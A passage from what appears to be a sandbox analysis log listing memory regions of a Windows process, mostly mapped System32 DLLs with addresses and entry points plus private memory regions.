"c:\\windows\\system32\\sxs.dll") Region: id = 7117 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 7118 start_va = 0x7fefd860000 end_va = 0x7fefd89cfff monitored = 0 entry_point = 0x7fefd8618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 7119 start_va = 0x7fefd8a0000 end_va = 0x7fefd8aefff monitored = 0 entry_point = 0x7fefd8a19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7120 start_va = 0x7fefd940000 end_va = 0x7fefd94efff monitored = 0 entry_point = 0x7fefd941020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7121 start_va = 0x7fefd950000 end_va = 0x7fefd985fff monitored = 0 entry_point = 0x7fefd951474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7122 start_va = 0x7fefd990000 end_va = 0x7fefd9a9fff monitored = 0 entry_point = 0x7fefd991558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7123 start_va = 0x7fefd9b0000 end_va = 0x7fefd9eafff monitored = 0 entry_point = 0x7fefd9b1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 7124 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7125 start_va = 0x7fefdb00000 end_va = 0x7fefdc6cfff monitored = 0 entry_point = 0x7fefdb010b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7126 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7127 start_va = 0x7fefdca0000 end_va = 0x7fefdcf1fff monitored = 0 entry_point = 0x7fefdca10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 7128 start_va = 0x7fefdd00000 end_va = 0x7fefdd98fff monitored = 0 entry_point = 0x7fefdd01c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7129 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7130 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7131 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7132 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7133 start_va = 0x7fefe410000 end_va = 0x7fefe5e6fff monitored = 0 entry_point = 0x7fefe411010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7134 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7135 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7136 start_va = 0x7fefe750000 end_va = 0x7fefe826fff monitored = 0 entry_point = 0x7fefe753274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7137 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7138 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7139 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7140 start_va = 0x7fefecf0000 end_va = 0x7fefed3cfff monitored = 0 entry_point = 0x7fefecf1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7141 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7142 start_va = 0x7fefeec0000 end_va = 0x7fefeec7fff monitored = 0 entry_point = 0x7fefeec1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 7143 start_va = 0x7fefeed0000 end_va = 0x7feffc57fff monitored = 0 entry_point = 0x7fefef4cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 7144 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7145 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 7146 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 7147 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 7148 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 7149 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 7150 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 7151 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 7152 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 7153 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 7154 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 7155 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 7156 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 7157 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 7158 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 7159 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7160 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 7161 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 7162 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 7163 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 7164 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7165 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7188 start_va = 0x8d0000 end_va = 0x8dffff monitored = 0 entry_point = 0x8d3e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 7189 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 7190 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 7191 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 7203 start_va = 0x7fef8a00000 end_va = 0x7fef8aedfff monitored = 0 entry_point = 0x7fef8a012a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7204 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 7205 start_va = 0x7fef88e0000 end_va = 0x7fef8919fff monitored = 0 entry_point = 0x7fef88fd020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 7206 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 7207 start_va = 0x7fef86c0000 end_va = 0x7fef8736fff monitored = 0 entry_point = 0x7fef86fe7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 7208 start_va = 0x1b80000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 7209 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 7210 start_va = 0x7fefd2e0000 end_va = 0x7fefd301fff monitored = 0 entry_point = 0x7fefd2e5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7211 start_va = 0x7fef8480000 end_va = 0x7fef84bcfff monitored = 0 entry_point = 0x7fef8481070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 7212 start_va = 0x7fefb390000 end_va = 0x7fefb3b6fff monitored = 0 entry_point = 0x7fefb3998bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 7213 start_va = 0x7fefb380000 end_va = 0x7fefb38afff monitored = 0 entry_point = 0x7fefb381198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 7214 start_va = 0x7fef8450000 end_va = 0x7fef8474fff monitored = 0 entry_point = 0x7fef8468c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 7215 start_va = 0x74060000 end_va = 0x74061fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 7216 start_va = 0x8d0000 end_va = 0x8fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll.mui" filename = "\\Windows\\System32\\en-US\\netmsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netmsg.dll.mui") Region: id = 7217 start_va = 0x1790000 end_va = 0x180ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001790000" filename = "" Region: id = 7218 start_va = 0x7fef83b0000 end_va = 0x7fef8441fff monitored = 0 entry_point = 0x7fef84251ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 7219 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 7220 start_va = 0x7fefca70000 end_va = 0x7fefcb2afff monitored = 0 entry_point = 0x7fefca76de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 7221 start_va = 0x7fefb150000 end_va = 0x7fefb1a2fff monitored = 0 entry_point = 0x7fefb152b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 7222 start_va = 0x7fefb950000 end_va = 0x7fefb960fff monitored = 0 entry_point = 0x7fefb9514c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 7280 start_va = 0x7fef7b30000 end_va = 0x7fef7b71fff monitored = 0 entry_point = 0x7fef7b317e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 7281 start_va = 0x7fef7ae0000 end_va = 0x7fef7b26fff monitored = 0 entry_point = 0x7fef7ae1040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 7282 start_va = 0x1fe0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 7283 start_va = 0x1fe0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 7284 start_va = 0x2180000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 7285 start_va = 0x2200000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 7286 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 7287 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 7288 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 7289 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7290 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7291 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7292 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7293 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7294 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7295 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7296 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7297 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7298 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7299 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7300 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7301 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7302 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7303 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7304 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7305 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 7306 start_va = 0x7fef7ac0000 end_va = 0x7fef7ac7fff monitored = 0 entry_point = 0x7fef7ac1020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 7313 start_va = 0x7fef8510000 end_va = 0x7fef86bffff monitored = 0 entry_point = 0x7fef8511010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 7314 start_va = 0x7fef84f0000 end_va = 0x7fef8506fff monitored = 0 entry_point = 0x7fef84f1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 7315 start_va = 0x8d0000 end_va = 0x8d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 7316 start_va = 0x7fefbaa0000 end_va = 0x7fefbab3fff monitored = 0 entry_point = 0x7fefbaa16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 7317 start_va = 0x7fef7a70000 end_va = 0x7fef7abffff monitored = 0 entry_point = 0x7fef7a71190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 7318 start_va = 0x7fefd460000 end_va = 0x7fefd473fff monitored = 0 entry_point = 0x7fefd464160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 7319 start_va = 0x7fef7a50000 end_va = 0x7fef7a68fff monitored = 0 entry_point = 0x7fef7a51104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 7320 start_va = 0x2260000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 7321 start_va = 0x2340000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 7322 start_va = 0x7fef7920000 end_va = 0x7fef7a4bfff monitored = 0 entry_point = 0x7fef79d0ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 7323 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 7324 start_va = 0x7fef7870000 end_va = 0x7fef78d1fff monitored = 0 entry_point = 0x7fef78abd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 7325 start_va = 0x7fef7d70000 end_va = 0x7fef7e42fff monitored = 0 entry_point = 0x7fef7de8b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 7326 start_va = 0x7fef7d40000 end_va = 0x7fef7d66fff monitored = 0 entry_point = 0x7fef7d411a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 7327 start_va = 0x23c0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 7328 start_va = 0x7fefb060000 end_va = 0x7fefb070fff monitored = 0 entry_point = 0x7fefb0616ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 7329 start_va = 0x1790000 end_va = 0x180ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001790000" filename = "" Region: id = 7330 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 7331 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 7332 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 7333 start_va = 0x24d0000 end_va = 0x264ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 7334 start_va = 0x1980000 end_va = 0x1a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 7335 start_va = 0x24d0000 end_va = 0x25cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024d0000" filename = "" Region: id = 7336 start_va = 0x25d0000 end_va = 0x264ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 7337 start_va = 0x2650000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 7466 start_va = 0x7fefafe0000 end_va = 0x7fefaff7fff monitored = 0 entry_point = 0x7fefafe1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 7467 start_va = 0x1e80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 7468 start_va = 0x7fef7790000 end_va = 0x7fef7813fff monitored = 0 entry_point = 0x7fef77e1118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 7469 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 7470 start_va = 0x2780000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 7471 start_va = 0x2780000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 7472 start_va = 0x2950000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 7473 start_va = 0x7fefbbd0000 end_va = 0x7fefbbe2fff monitored = 0 entry_point = 0x7fefbbd1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 7555 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 7556 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 7557 start_va = 0x2a30000 end_va = 0x2aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 7558 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 7559 start_va = 0x2880000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 7560 start_va = 0x2970000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 7561 start_va = 0x7fefcc70000 end_va = 0x7fefcc81fff monitored = 0 entry_point = 0x7fefcc71060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 7562 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 7563 start_va = 0x7fefcfb0000 end_va = 0x7fefd00afff monitored = 0 entry_point = 0x7fefcfb6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 7564 start_va = 0x2ab0000 end_va = 0x2ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 7565 start_va = 0x7fefab10000 end_va = 0x7fefab17fff monitored = 0 entry_point = 0x7fefab11414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 7566 start_va = 0x2ab0000 end_va = 0x2baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 7567 start_va = 0x2c50000 end_va = 0x2ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 7568 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 7569 start_va = 0x7fffff80000 end_va = 